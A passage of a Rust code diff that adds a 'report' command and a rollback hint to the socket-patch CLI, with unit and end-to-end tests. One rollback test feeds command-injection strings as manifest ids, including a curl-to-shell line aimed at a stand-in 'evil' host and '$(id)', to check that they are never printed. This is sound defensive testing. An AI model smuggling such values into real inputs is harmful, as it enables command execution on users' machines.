+ // still hold: its error is the cause, and a name is not resolved + // against what is left (that could report the wrong patch). A UUID + // names its patch without any store. + if let Some((code, why)) = &project.unreadable { + let by_name = args + .targets + .iter() + .any(|token| Target::parse(token).kind() != TargetKind::Uuid); + if by_name { + return fail( + common, + code, + &format!("{why}. To report a patch anyway, name it by its UUID"), + ); + } + } + let named = match select(&args.targets, &project.held) { + Ok(named) => named, + Err((code, message)) => return fail(common, code, &message), + }; + let patches: Vec = named.iter().map(Named::outcome).collect(); + let reason = args.reason.core(); + // The message as it is sent, which is also what the run prints. + let message = match fitted_report_message("report", reason, args.message.as_deref(), &patches) { + Ok(message) => message, + Err(not_sent) => { + return fail( + common, + not_sent.code(), + &format!("The report was not sent: {not_sent}"), + ) + } + }; + if !common.dry_run { + let sent = send_patch_report( + "report", + reason, + message.as_deref(), + &patches, + &common.telemetry_auth(), + ) + .await; + if let Err(not_sent) = sent { + return fail( + common, + not_sent.code(), + &format!("The report was not sent: {not_sent}"), + ); + } + } + if common.json { + ui::print_json(&report_json( + common.dry_run, + args.reason, + message.as_deref(), + &named, + )); + } else if !common.silent { + for line in report_lines(common.dry_run, args.reason, message.as_deref(), &named) { + println!("{line}"); + } + } + 0 +} + +#[cfg(test)] +mod tests { + use super::*; + + const UUID_A: &str = "11111111-1111-4111-8111-111111111111"; + const UUID_B: &str = "22222222-2222-4222-8222-222222222222"; + const UUID_C: &str = "33333333-3333-4333-8333-333333333333"; + + fn held(purl: &str, uuid: &str, mode: &'static str) -> Held { + Held { + purl: purl.to_string(), + base: None, + uuid: uuid.to_string(), + mode, + } + } + + /// A vendor ledger entry: its key, and the base purl it resolves to. + fn vendored(key: &str, base: &str, uuid: &str) -> Held { + Held { + base: Some(base.to_string()), + ..held(key, uuid, MODE_VENDORED) + } + } + + fn project() -> Vec { + vec![ + held("pkg:npm/lodash@4.17.20", UUID_A, MODE_AGENT), + held("pkg:npm/%40types/lodash@4.14.0", UUID_B, MODE_AGENT), + ] + } + + fn targets(tokens: &[&str]) -> Vec { + tokens.iter().map(|t| t.to_string()).collect() + } + + fn named(uuid: &str, purl: Option<&str>, mode: &'static str) -> Named { + Named { + uuid: uuid.to_string(), + purl: purl.map(str::to_string), + mode, + } + } + + /// A package name names the project's patch of that package, and not + /// one of a package it only shares a last segment with. A patch named + /// twice is reported once. + #[test] + fn a_name_selects_the_projects_patches_of_that_package() { + let selected = select(&targets(&["lodash", UUID_A]), &project()).unwrap(); + assert_eq!( + selected, + [named(UUID_A, Some("pkg:npm/lodash@4.17.20"), MODE_AGENT)] + ); + let outcome = selected[0].outcome(); + assert_eq!(outcome.ecosystem, "npm"); + assert_eq!(outcome.outcome, "reported"); + } + + /// Where the project holds patches for one package in several modes, + /// the report names the one the build consumes: the vendored artifact + /// over a hosted pin, either over the agent manifest's record, each + /// under its own UUID. A vendor entry is found by its base purl, with + /// or without a manifest record beside it. + #[test] + fn the_patch_the_build_consumes_is_the_one_reported() { + // `get --save-only` then `vendor`: one patch, in both stores. + let both = vec![ + held("pkg:npm/lodash@4.17.20", UUID_A, MODE_AGENT), + vendored( + "pkg:npm/lodash@4.17.20?artifact_id=x", + "pkg:npm/lodash@4.17.20", + UUID_A, + ), + ]; + let vendored_lodash = [named(UUID_A, Some("pkg:npm/lodash@4.17.20"), MODE_VENDORED)]; + assert_eq!( + select(&targets(&["lodash"]), &both).unwrap(), + vendored_lodash + ); + assert_eq!(select(&targets(&[UUID_A]), &both).unwrap(), vendored_lodash); + + // The manifest moved on to a newer patch the vendored artifact + // does not carry: the build still consumes the vendored one. + let moved_on = vec![ + held("pkg:npm/lodash@4.17.20", UUID_B, MODE_AGENT), + both[1].clone(), + ]; + assert_eq!( + select(&targets(&["pkg:npm/lodash@4.17.20"]), &moved_on).unwrap(), + vendored_lodash + ); + + // A ledger entry alone (a pre-v5 one carries no record). + assert_eq!( + select(&targets(&["lodash"]), &both[1..]).unwrap(), + vendored_lodash + ); + + // A hosted pin over the manifest; another package is untouched. + let hosted = vec![ + held("pkg:npm/lodash@4.17.20", UUID_A, MODE_AGENT), + held("pkg:npm/lodash@4.17.20", UUID_B, MODE_HOSTED), + held("pkg:npm/left-pad@1.3.0", UUID_C, MODE_AGENT), + ]; + assert_eq!( + select(&targets(&["lodash", "left-pad"]), &hosted).unwrap(), + [ + named(UUID_B, Some("pkg:npm/lodash@4.17.20"), MODE_HOSTED), + named(UUID_C, Some("pkg:npm/left-pad@1.3.0"), MODE_AGENT), + ] + ); + } + + /// A UUID the project does not hold is still a patch to report: it + /// may have been rolled back already. Its mode is not known. + #[test] + fn a_uuid_the_project_does_not_hold_is_reported_as_given() { + let upper = UUID_C.to_uppercase(); + let selected = select(&targets(&[upper.as_str(), UUID_C]), &project()).unwrap(); + assert_eq!(selected, [named(&upper, None, MODE_UNKNOWN)]); + let outcome = selected[0].outcome(); + assert_eq!(outcome.uuid, UUID_C, "sent in the canonical lower case"); + assert_eq!(outcome.ecosystem, ""); + } + + /// A name or purl that matches nothing is an error, never a report + /// about no patch; so is a name that reaches several packages. + #[test] + fn a_target_that_names_no_single_package_is_refused() { + let (code, message) = select(&targets(&["left-pad"]), &project()).unwrap_err(); + assert_eq!(code, "patch_not_found"); + assert!( + message.contains("left-pad") && message.contains("UUID"), + "{message}" + ); + + let (code, _) = select(&targets(&["pkg:npm/left-pad@1.0.0"]), &project()).unwrap_err(); + assert_eq!(code, "patch_not_found"); + + let both = vec![ + held("pkg:npm/%40angular/core@1.0.0", UUID_A, MODE_AGENT), + held("pkg:npm/%40babel/core@1.0.0", UUID_B, MODE_AGENT), + ]; + let (code, message) = select(&targets(&["core"]), &both).unwrap_err(); + assert_eq!(code, "ambiguous_target"); + assert!(message.contains("ambiguous"), "{message}"); + } + + /// Each reason the user can type has its own wire reason, and + /// `--json` echoes the typed word. + #[test] + fn every_reason_has_its_own_wire_reason() { + use clap::ValueEnum; + let typed: Vec = Reason::value_variants() + .iter() + .map(|r| r.to_possible_value().unwrap().get_name().to_string()) + .collect(); + assert_eq!(typed, ["build", "tests", "runtime", "other"]); + let words: Vec<&str> = Reason::value_variants().iter().map(|r| r.word()).collect(); + assert_eq!(words, typed); + let wire: Vec<&str> = Reason::value_variants() + .iter() + .map(|r| r.core().as_str()) + .collect(); + let all: Vec<&str> = ReportReason::ALL.iter().map(|r| r.as_str()).collect(); + assert_eq!(wire, all); + } + + /// The human lines say everything the report does: each patch with + /// its mode, and the message as it is sent. + #[test] + fn the_human_lines_show_the_whole_report() { + let selected = select(&targets(&["lodash", UUID_C]), &project()).unwrap(); + assert_eq!( + report_lines(false, Reason::Tests, Some("jest fails"), &selected), + [ + "Reported 2 patches to Socket as breaking tests:".to_string(), + format!(" pkg:npm/lodash@4.17.20 ({UUID_A}, agent mode)"), + format!(" {UUID_C}"), + " Message: jest fails".to_string(), + ] + ); + assert_eq!( + report_lines(true, Reason::Other, None, &selected[1..]), + [ + "Would report 1 patch to Socket as broken:".to_string(), + format!(" {UUID_C}"), + ] + ); + } + + #[test] + fn the_json_document_echoes_what_was_sent() { + let selected = select(&targets(&[UUID_B, UUID_C]), &project()).unwrap(); + assert_eq!( + report_json(false, Reason::Build, Some("npm ci fails"), &selected), + serde_json::json!({ + "command": "report", + "status": "success", + "dryRun": false, + "reason": "build", + "message": "npm ci fails", + "patches": [ + { + "uuid": UUID_B, + "purl": "pkg:npm/%40types/lodash@4.14.0", + "ecosystem": "npm", + "mode": "agent", + }, + { "uuid": UUID_C, "ecosystem": "", "mode": "unknown" }, + ], + }) + ); + let dry = report_json(true, Reason::Other, None, &selected); + assert_eq!(dry["dryRun"], true); + assert!(dry.get("message").is_none()); + } +} diff --git a/crates/socket-patch-cli/src/commands/rollback.rs b/crates/socket-patch-cli/src/commands/rollback.rs index 4cbed5e85..2cefed2cc 100644 --- a/crates/socket-patch-cli/src/commands/rollback.rs +++ b/crates/socket-patch-cli/src/commands/rollback.rs @@ -1613,6 +1613,44 @@ async fn track_unstarted( track_patch_rollback_failed(code, error, rollback_run(args, 0), &[], telemetry).await; } +/// The most patches a rollback's report hint names: past this the +/// command no longer fits a line, and the run was not about one patch. +const REPORT_HINT_MAX_PATCHES: usize = 3; + +/// The line a rollback of a few named patches ends with at a terminal: +/// the `report` command for the patches it took off, ready to run. A +/// patch is usually rolled back because it broke something, and by then +/// the project no longer holds it, so only its UUID still names it. +/// +/// `None` when the run took off no patch, or more than a line can name, +/// or one whose recorded id is not a UUID. A manifest's `uuid` is a +/// string a project file supplies: only a real UUID is ever printed as +/// part of a command to run, and `report` takes nothing else for a patch +/// the project no longer holds. +fn report_hint(patches: &[socket_patch_core::telemetry::PatchOutcome]) -> Option { + let mut uuids: Vec<&str> = Vec::new(); + for patch in patches.iter().filter(|p| p.outcome == "rolled_back") { + if !socket_patch_core::utils::target::is_uuid_shaped(&patch.uuid) { + return None; + } + if !uuids.contains(&patch.uuid.as_str()) { + uuids.push(&patch.uuid); + } + } + if uuids.is_empty() || uuids.len() > REPORT_HINT_MAX_PATCHES { + return None; + } + Some(format!( + "Did {} break something? Tell Socket: socket-patch report {} --message \"what happened\"", + if uuids.len() == 1 { + "this patch" + } else { + "one of these patches" + }, + uuids.join(" ") + )) +} + /// The patches a rollback's events name, as its telemetry reports them. /// The manifest cleanup's `removed` events are left out: they say a record /// was dropped, and the patch's own event already says what happened to @@ -3075,6 +3113,21 @@ async fn run_project(args: RollbackArgs, below: BelowNotes) -> i32 { } } + // Someone at a terminal who named the patches to take off is + // told how to report them. Never a dry run, `--json`, + // `--silent`, a pipe or an agent's terminal. + if success + && !args.targets.is_empty() + && !args.common.dry_run + && !args.common.json + && !args.common.silent + && crate::ui::attended(crate::ui::Stream::Stdout) + { + if let Some(hint) = report_hint(&reported_patches) { + println!("\n{}", crate::ui::dim(&hint, crate::ui::stdout_color())); + } + } + let run = rollback_run(&args, rolled_back_total); if success { track_patch_rolled_back(run, &reported_patches, &telemetry).await; @@ -4493,6 +4546,69 @@ async fn rollback_maven_target( #[cfg(test)] mod tests { use super::*; + + /// The report hint names the patches a run took off, each once, and + /// stays quiet when there are none or too many to name on a line. + #[test] + fn report_hint_names_the_patches_taken_off() { + use socket_patch_core::telemetry::{PatchOutcome, MODE_HOSTED}; + const A: &str = "aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa"; + const B: &str = "bbbbbbbb-bbbb-4bbb-8bbb-bbbbbbbbbbbb"; + let patch = |uuid: &str, mode, outcome| PatchOutcome { + uuid: uuid.to_string(), + ecosystem: "npm".to_string(), + mode, + outcome, + code: None, + }; + assert_eq!(report_hint(&[]), None); + assert_eq!(report_hint(&[patch(A, MODE_AGENT, "skipped")]), None); + assert_eq!( + report_hint(&[ + patch(A, MODE_AGENT, "rolled_back"), + patch(A, MODE_HOSTED, "rolled_back"), + patch(B, MODE_AGENT, "failed"), + ]), + Some(format!( + "Did this patch break something? Tell Socket: socket-patch report {A} \ + --message \"what happened\"" + )) + ); + assert_eq!( + report_hint(&[ + patch(A, MODE_AGENT, "rolled_back"), + patch(B, MODE_AGENT, "rolled_back"), + ]), + Some(format!( + "Did one of these patches break something? Tell Socket: socket-patch report \ + {A} {B} --message \"what happened\"" + )) + ); + let many: Vec = (0..4) + .map(|n| { + patch( + &format!("{n:08x}-aaaa-4aaa-8aaa-aaaaaaaaaaaa"), + MODE_AGENT, + "rolled_back", + ) + }) + .collect(); + assert_eq!(report_hint(&many), None); + + // A recorded id is whatever the manifest says. One that is not a + // UUID is never printed as part of a command: `report` would not + // find it, and it could be anything. + for id in ["local-1", "x;curl evil|sh", "$(id)"] { + assert_eq!( + report_hint(&[ + patch(A, MODE_AGENT, "rolled_back"), + patch(id, MODE_AGENT, "rolled_back"), + ]), + None, + "{id}" + ); + } + } use socket_patch_core::manifest::schema::{PatchManifest, PatchRecord}; use std::collections::HashMap; diff --git a/crates/socket-patch-cli/src/lib.rs b/crates/socket-patch-cli/src/lib.rs index 36f78365f..d8e2f37b4 100644 --- a/crates/socket-patch-cli/src/lib.rs +++ b/crates/socket-patch-cli/src/lib.rs @@ -164,6 +164,15 @@ pub enum Commands { /// Restore selected patches, or all patches when no target is given Rollback(commands::rollback::RollbackArgs), + /// Tell Socket that a patch broke your build, tests or application + /// + /// Sends, for each patch named: its id, its ecosystem and how it was + /// applied (hosted, vendored or agent), with the reason, your message, + /// and this CLI's version and platform. No package names, paths or + /// file contents. Nothing in the project changes: use `rollback` to + /// take a patch off. + Report(commands::report::ReportArgs), + /// Generate OpenVEX for vulnerabilities addressed by verified patches Vex(commands::vex::VexArgs), @@ -234,6 +243,7 @@ impl Commands { Commands::Vex(a) => &a.common, Commands::Vendor(a) => &a.common, Commands::Rollback(a) => &a.common, + Commands::Report(a) => &a.common, Commands::Get(a) => &a.common, Commands::Show(a) => &a.common, Commands::List(a) => &a.common, diff --git a/crates/socket-patch-cli/src/main.rs b/crates/socket-patch-cli/src/main.rs index 954ba7e97..72399ba82 100644 --- a/crates/socket-patch-cli/src/main.rs +++ b/crates/socket-patch-cli/src/main.rs @@ -167,6 +167,7 @@ async fn run(own_args: Vec, hot_patch_command: Option commands::vex::run(args).await, Commands::Vendor(args) => commands::vendor::run(args).await, Commands::Rollback(args) => commands::rollback::run(args).await, + Commands::Report(args) => commands::report::run(args).await, Commands::Get(args) => commands::get::run(args).await, Commands::Show(args) => commands::show::run(args).await, Commands::List(args) => commands::list::run(args).await, diff --git a/crates/socket-patch-cli/tests/cli_global_args.rs b/crates/socket-patch-cli/tests/cli_global_args.rs index 24db0bcb2..2e08d8f93 100644 --- a/crates/socket-patch-cli/tests/cli_global_args.rs +++ b/crates/socket-patch-cli/tests/cli_global_args.rs @@ -53,7 +53,7 @@ const SUBCOMMANDS_NO_POSITIONAL: &[&str] = &[ ]; /// Subcommands that require a positional identifier. -const SUBCOMMANDS_WITH_IDENTIFIER: &[&str] = &["get", "remove", "show"]; +const SUBCOMMANDS_WITH_IDENTIFIER: &[&str] = &["get", "remove", "report", "show"]; const DUMMY_IDENTIFIER: &str = "80630680-4da6-45f9-bba8-b888e0ffd58c"; @@ -161,6 +161,7 @@ fn common_of(cli: &Cli) -> &GlobalArgs { match &cli.command { Apply(a) => &a.common, Rollback(a) => &a.common, + Report(a) => &a.common, Get(a) => &a.common, Show(a) => &a.common, Scan(a) => &a.common, diff --git a/crates/socket-patch-cli/tests/cli_parse_report.rs b/crates/socket-patch-cli/tests/cli_parse_report.rs new file mode 100644 index 000000000..ca7bcf518 --- /dev/null +++ b/crates/socket-patch-cli/tests/cli_parse_report.rs @@ -0,0 +1,121 @@ +//! CLI contract tests for the `report` subcommand. +//! +//! These tests pin the public clap parser surface for `ReportArgs`: the +//! required patch targets, `--reason` with its default, and `--message`. +//! +//! See `crates/socket-patch-cli/CLI_CONTRACT.md` ("`report`: report a +//! broken patch"). +//! +//! clap reads the flag-bound environment during every parse, so every test +//! that parses is `#[serial]`. + +use socket_patch_cli::commands::report::{Reason, ReportArgs}; +use socket_patch_cli::Commands; + +#[path = "common/clap_parse.rs"] +mod clap_parse; +#[path = "common/hermetic.rs"] +mod hermetic; + +use clap_parse::Globals; +use hermetic::try_parse; + +const UUID: &str = "8be53d06-7bd4-40cc-ab8f-36dc6248985a"; + +fn parse_report(extra: &[&str]) -> ReportArgs { + let mut argv = vec!["socket-patch", "report"]; + argv.extend_from_slice(extra); + let cli = try_parse(&argv).expect("parse"); + match cli.command { + Commands::Report(a) => a, + _ => panic!("expected Report"), + } +} + +/// Every parsed field of `ReportArgs`. The tests compare the whole +/// snapshot, so a flag wired to a second field fails too. +#[derive(Debug, Clone, PartialEq)] +struct Snap { + targets: Vec, + reason: Reason, + message: Option, + common: Globals, +} + +fn snapshot(a: &ReportArgs) -> Snap { + Snap { + targets: a.targets.clone(), + reason: a.reason, + message: a.message.clone(), + common: Globals(a.common.clone()), + } +} + +/// The snapshot of `report `, written by hand. +fn expected_defaults() -> Snap { + Snap { + targets: vec![UUID.to_string()], + reason: Reason::Other, + message: None, + common: clap_parse::global_defaults(), + } +} + +#[test] +#[serial_test::serial] +fn a_patch_alone_reports_it_as_other() { + assert_eq!(snapshot(&parse_report(&[UUID])), expected_defaults()); +} + +#[test] +#[serial_test::serial] +fn several_patches_a_reason_and_a_message_parse() { + let args = parse_report(&[ + UUID, + "lodash", + "--reason", + "runtime", + "--message", + "it hangs", + ]); + assert_eq!( + snapshot(&args), + Snap { + targets: vec![UUID.to_string(), "lodash".to_string()], + reason: Reason::Runtime, + message: Some("it hangs".to_string()), + ..expected_defaults() + } + ); +} + +#[test] +#[serial_test::serial] +fn every_reason_parses_by_its_word() { + for (word, reason) in [ + ("build", Reason::Build), + ("tests", Reason::Tests), + ("runtime", Reason::Runtime), + ("other", Reason::Other), + ] { + assert_eq!(parse_report(&[UUID, "--reason", word]).reason, reason); + } +} + +/// A report about no patch, or with a reason that is not one of the four, +/// is a usage error. +#[test] +#[serial_test::serial] +fn no_patch_or_an_unknown_reason_is_a_usage_error() { + let missing = try_parse(&["socket-patch", "report"]) + .err() + .expect("no patch named"); + assert_eq!( + missing.kind(), + clap::error::ErrorKind::MissingRequiredArgument + ); + let unknown = try_parse(&["socket-patch", "report", UUID, "--reason", "works"]) + .err() + .expect("an unknown reason"); + assert_eq!(unknown.kind(), clap::error::ErrorKind::InvalidValue); +} diff --git a/crates/socket-patch-cli/tests/command_module_layering.rs b/crates/socket-patch-cli/tests/command_module_layering.rs index 63a591a7c..395228ca4 100644 --- a/crates/socket-patch-cli/tests/command_module_layering.rs +++ b/crates/socket-patch-cli/tests/command_module_layering.rs @@ -26,6 +26,7 @@ const COMMAND_MODULES: &[&str] = &[ "list", "remove", "repair", + "report", "rollback", "scan", "show", diff --git a/crates/socket-patch-cli/tests/report_e2e.rs b/crates/socket-patch-cli/tests/report_e2e.rs new file mode 100644 index 000000000..e2c5011ce --- /dev/null +++ b/crates/socket-patch-cli/tests/report_e2e.rs @@ -0,0 +1,401 @@ +//! `socket-patch report` end to end, against a mock of the endpoint the +//! report is sent to. +//! +//! Covers a report by UUID from a directory that holds no patch, a report +//! by package name resolved against the project's manifest, `--dry-run`, +//! the human lines, and the failures: a name the project does not hold, +//! an endpoint that refuses, and an offline run. Every run points the +//! proxy at the mock: a report is sent even with telemetry switched off +//! (the hermetic default), so no run may be left on the real endpoint. + +#[path = "common/mod.rs"] +mod common; +use common::{binary, hermetic_command, write_minimal_manifest, PatchEntry}; + +use std::path::Path; +use wiremock::matchers::{method, path}; +use wiremock::{Mock, MockServer, ResponseTemplate}; + +const UUID: &str = "8be53d06-7bd4-40cc-ab8f-36dc6248985a"; +const OTHER: &str = "1d90158a-fffb-47ee-a84f-b210a3f7ae65"; +const PURL: &str = "pkg:npm/lodash@4.17.20"; +const HASH: &str = "0000000000000000000000000000000000000000000000000000000000000000"; + +/// A mock that answers the anonymous report route with `status`. +async fn endpoint(status: u16) -> MockServer { + let server = MockServer::start().await; + Mock::given(method("POST")) + .and(path("/patch/telemetry")) + .respond_with(ResponseTemplate::new(status)) + .mount(&server) + .await; + server +} + +/// Run `socket-patch report ` in `cwd` with the proxy at `server`. +fn report(cwd: &Path, server: &MockServer, args: &[&str]) -> std::process::Output { + hermetic_command(&binary()) + .arg("report") + .args(args) + .current_dir(cwd) + .env("SOCKET_PROXY_URL", server.uri()) + .output() + .expect("run socket-patch") +} + +/// The bodies the mock received, in arrival order. +async fn bodies(server: &MockServer) -> Vec { + server + .received_requests() + .await + .expect("recording enabled") + .iter() + .map(|request| serde_json::from_slice(&request.body).expect("a JSON body")) + .collect() +} + +fn stdout_json(out: &std::process::Output) -> serde_json::Value { + serde_json::from_slice(&out.stdout).unwrap_or_else(|e| { + panic!( + "stdout is not one JSON document ({e}): {}\nstderr: {}", + String::from_utf8_lossy(&out.stdout), + String::from_utf8_lossy(&out.stderr) + ) + }) +} + +/// A project whose manifest holds one agent-mode patch of lodash. +fn project_with_lodash() -> tempfile::TempDir { + let tmp = tempfile::tempdir().expect("tempdir"); + write_minimal_manifest( + &tmp.path().join(".socket"), + PURL, + UUID, + &[PatchEntry { + file_name: "package/index.js", + before_hash: HASH, + after_hash: HASH, + }], + ); + tmp +} + +/// A UUID is reported from anywhere: the directory holds no patch (the +/// patch was rolled back, say). The report goes out although the run's +/// telemetry is switched off, names the patch by UUID alone, and carries +/// the reason and the message on one line. +#[tokio::test] +async fn a_uuid_is_reported_from_a_directory_that_holds_no_patch() { + let server = endpoint(201).await; + let tmp = tempfile::tempdir().expect("tempdir"); + + let out = report( + tmp.path(), + &server, + &[ + &UUID.to_uppercase(), + "--reason", + "tests", + "--message", + "jest fails:\n TypeError", + "--json", + ], + ); + assert_eq!(out.status.code(), Some(0), "{out:?}"); + assert_eq!( + stdout_json(&out), + serde_json::json!({ + "command": "report", + "status": "success", + "dryRun": false, + "reason": "tests", + "message": "jest fails: TypeError", + "patches": [{ "uuid": UUID, "ecosystem": "", "mode": "unknown" }], + }) + ); + + let sent = bodies(&server).await; + assert_eq!(sent.len(), 1, "one report, and no telemetry beside it"); + assert_eq!(sent[0]["event_type"], "patch_reported"); + assert_eq!(sent[0]["context"]["command"], "report"); + assert_eq!( + sent[0]["metadata"], + serde_json::json!({ + "reason": "breaks_tests", + "message": "jest fails: TypeError", + "patches": [ + { "uuid": UUID, "ecosystem": "", "mode": "unknown", "outcome": "reported" } + ], + "outcomes": { "reported": 1 }, + "ecosystems": [], + "modes": ["unknown"], + }) + ); +} + +/// A package name is resolved against the project: the report names the +/// patch the manifest holds for it, with its ecosystem and mode, and the +/// package name itself is not sent. With no `--reason` the reason is +/// `other`. +#[tokio::test] +async fn a_package_name_reports_the_patch_the_project_holds() { + let server = endpoint(201).await; + let tmp = project_with_lodash(); + + let out = report(tmp.path(), &server, &["lodash"]); + assert_eq!(out.status.code(), Some(0), "{out:?}"); + assert_eq!( + String::from_utf8_lossy(&out.stdout), + format!("Reported 1 patch to Socket as broken:\n {PURL} ({UUID}, agent mode)\n") + ); + + let sent = bodies(&server).await; + assert_eq!(sent.len(), 1); + let metadata = &sent[0]["metadata"]; + assert_eq!(metadata["reason"], "other"); + assert!(metadata.get("message").is_none()); + assert_eq!( + metadata["patches"], + serde_json::json!([ + { "uuid": UUID, "ecosystem": "npm", "mode": "agent", "outcome": "reported" } + ]) + ); + assert!( + !sent[0].to_string().contains("lodash"), + "the package name is not sent: {}", + sent[0] + ); +} + +/// `--dry-run` resolves the patches and shows the whole report (each +/// patch with its mode, and the message as it would be sent, redacted), +/// and sends nothing. `--silent` prints nothing for a report that was +/// sent. +#[tokio::test] +async fn a_dry_run_sends_nothing_and_silent_prints_nothing() { + let server = endpoint(201).await; + let tmp = project_with_lodash(); + + let out = report( + tmp.path(), + &server, + &[ + PURL, + "--reason", + "build", + "--message", + "see\nhttps://user:hunter2@example.com/log", + "--dry-run", + ], + ); + assert_eq!(out.status.code(), Some(0), "{out:?}"); + let stdout = String::from_utf8_lossy(&out.stdout); + let lines: Vec<&str> = stdout.lines().collect(); + assert_eq!( + lines[..2], + [ + "Would report 1 patch to Socket as breaking the build:".to_string(), + format!(" {PURL} ({UUID}, agent mode)"), + ] + ); + assert_eq!(lines.len(), 3, "{stdout}"); + assert!( + lines[2].starts_with(" Message: see https://") && !lines[2].contains("hunter2"), + "the message as sent, on one line and redacted: {stdout}" + ); + assert!(bodies(&server).await.is_empty(), "a dry run sends nothing"); + + let out = report(tmp.path(), &server, &[UUID, "--silent"]); + assert_eq!(out.status.code(), Some(0), "{out:?}"); + assert!(out.stdout.is_empty() && out.stderr.is_empty(), "{out:?}"); + assert_eq!(bodies(&server).await.len(), 1); +} + +/// A name the project holds no patch for is an error that says how to +/// report by UUID, and nothing is sent, not even for the targets that +/// did match. +#[tokio::test] +async fn a_name_the_project_does_not_hold_is_refused() { + let server = endpoint(201).await; + let tmp = project_with_lodash(); + + let out = report(tmp.path(), &server, &["lodash", "left-pad", "--json"]); + assert_eq!(out.status.code(), Some(1), "{out:?}"); + let doc = stdout_json(&out); + assert_eq!(doc["command"], "report"); + assert_eq!(doc["status"], "error"); + assert_eq!(doc["error"]["code"], "patch_not_found"); + let message = doc["error"]["message"].as_str().unwrap(); + assert!( + message.contains("left-pad") && message.contains("UUID"), + "{message}" + ); + assert!(bodies(&server).await.is_empty()); +} + +/// A report the endpoint refuses is a failed run that says the report +/// was not sent; so is an offline run, which makes no request at all. +#[tokio::test] +async fn a_report_that_cannot_be_sent_fails_the_run() { + let refusing = endpoint(500).await; + let tmp = tempfile::tempdir().expect("tempdir"); + + let out = report(tmp.path(), &refusing, &[UUID, OTHER]); + assert_eq!(out.status.code(), Some(1), "{out:?}"); + assert!(out.stdout.is_empty(), "{out:?}"); + assert_eq!( + String::from_utf8_lossy(&out.stderr), + "Error: The report was not sent: the request returned status 500 Internal Server \ + Error\n" + ); + assert_eq!(bodies(&refusing).await.len(), 1); + + let server = endpoint(201).await; + let out = report(tmp.path(), &server, &[UUID, "--offline", "--json"]); + assert_eq!(out.status.code(), Some(1), "{out:?}"); + let doc = stdout_json(&out); + assert_eq!(doc["error"]["code"], "offline_unsupported"); + assert_eq!( + doc["error"]["message"], + "The report was not sent: the run is offline" + ); + assert!( + bodies(&server).await.is_empty(), + "an offline run sends nothing" + ); +} + +/// A saved login the org endpoint refuses does not cost the report: it +/// goes out again on the public route, without the token. +#[tokio::test] +async fn a_refused_login_still_delivers_the_report() { + let server = MockServer::start().await; + Mock::given(method("POST")) + .and(path("/v0/orgs/acme/telemetry")) + .respond_with(ResponseTemplate::new(401)) + .mount(&server) + .await; + Mock::given(method("POST")) + .and(path("/patch/telemetry")) + .respond_with(ResponseTemplate::new(201)) + .mount(&server) + .await; + let tmp = tempfile::tempdir().expect("tempdir"); + + let out = hermetic_command(&binary()) + .args(["report", UUID, "--json"]) + .current_dir(tmp.path()) + .env("SOCKET_API_URL", server.uri()) + .env("SOCKET_PROXY_URL", server.uri()) + .env("SOCKET_ORG_SLUG", "acme") + .env( + "SOCKET_API_TOKEN", + "sktsec_00000000000000000000000000000000000000000000_api", + ) + .output() + .expect("run socket-patch"); + assert_eq!(out.status.code(), Some(0), "{out:?}"); + assert_eq!(stdout_json(&out)["status"], "success"); + + let requests = server.received_requests().await.expect("recording enabled"); + let seen: Vec<(&str, bool)> = requests + .iter() + .map(|r| (r.url.path(), r.headers.contains_key("authorization"))) + .collect(); + assert_eq!( + seen, + [ + ("/v0/orgs/acme/telemetry", true), + ("/patch/telemetry", false) + ] + ); +} + +/// A manifest that cannot be read may hold the patch a name meant: the +/// run says the manifest is the problem, not that no patch matches, and +/// a report by UUID still goes out. +#[tokio::test] +async fn an_unreadable_manifest_is_named_and_a_uuid_still_reports() { + let server = endpoint(201).await; + let tmp = tempfile::tempdir().expect("tempdir"); + std::fs::create_dir_all(tmp.path().join(".socket")).unwrap(); + std::fs::write(tmp.path().join(".socket/manifest.json"), "{ not json").unwrap(); + + let out = report(tmp.path(), &server, &["lodash", "--json"]); + assert_eq!(out.status.code(), Some(1), "{out:?}"); + let doc = stdout_json(&out); + assert_eq!(doc["error"]["code"], "manifest_invalid"); + let message = doc["error"]["message"].as_str().unwrap(); + assert!( + message.contains("manifest.json") && message.contains("UUID"), + "{message}" + ); + assert!(bodies(&server).await.is_empty()); + + let out = report(tmp.path(), &server, &[UUID]); + assert_eq!(out.status.code(), Some(0), "{out:?}"); + assert_eq!(bodies(&server).await.len(), 1); +} + +/// A vendor ledger that cannot be read may hold the vendored copy the +/// build consumes: a name is refused with the ledger's error rather than +/// resolved to the manifest's record of the same package, which could be +/// a patch the vendored artifact has replaced. +#[tokio::test] +async fn an_unreadable_vendor_ledger_refuses_a_name_the_manifest_still_holds() { + let server = endpoint(201).await; + let tmp = project_with_lodash(); + std::fs::create_dir_all(tmp.path().join(".socket/vendor")).unwrap(); + std::fs::write(tmp.path().join(".socket/vendor/state.json"), "{ not json").unwrap(); + + let out = report(tmp.path(), &server, &["lodash", "--json"]); + assert_eq!(out.status.code(), Some(1), "{out:?}"); + let doc = stdout_json(&out); + assert_eq!(doc["error"]["code"], "vendor_state_unreadable"); + assert!( + doc["error"]["message"].as_str().unwrap().contains("UUID"), + "{doc}" + ); + assert!(bodies(&server).await.is_empty()); + + let out = report(tmp.path(), &server, &[UUID]); + assert_eq!(out.status.code(), Some(0), "{out:?}"); + assert_eq!(bodies(&server).await.len(), 1); +} + +/// One report names at most 50 patches. More is refused, even on a dry +/// run, rather than sent with some left out. +#[tokio::test] +async fn more_patches_than_one_report_names_is_refused() { + let server = endpoint(201).await; + let tmp = tempfile::tempdir().expect("tempdir"); + let uuids: Vec = (0..51) + .map(|n| format!("{n:08x}-7bd4-40cc-ab8f-36dc6248985a")) + .collect(); + let all: Vec<&str> = uuids.iter().map(String::as_str).collect(); + + let mut args = all.clone(); + args.push("--dry-run"); + let out = report(tmp.path(), &server, &args); + assert_eq!(out.status.code(), Some(1), "{out:?}"); + assert_eq!( + String::from_utf8_lossy(&out.stderr), + "Error: The report was not sent: one report names at most 50 patches; send the rest \ + in another\n" + ); + + let mut args = all.clone(); + args.push("--json"); + let out = report(tmp.path(), &server, &args); + assert_eq!(out.status.code(), Some(1), "{out:?}"); + assert_eq!(stdout_json(&out)["error"]["code"], "too_many_patches"); + assert!(bodies(&server).await.is_empty()); + + // Exactly 50 go out, all named. + let out = report(tmp.path(), &server, &all[..50]); + assert_eq!(out.status.code(), Some(0), "{out:?}"); + let sent = bodies(&server).await; + assert_eq!(sent.len(), 1); + assert_eq!(sent[0]["metadata"]["patches"].as_array().unwrap().len(), 50); + assert!(sent[0]["metadata"].get("patches_truncated").is_none()); +} diff --git a/crates/socket-patch-cli/tests/rollback/rollback_render.rs 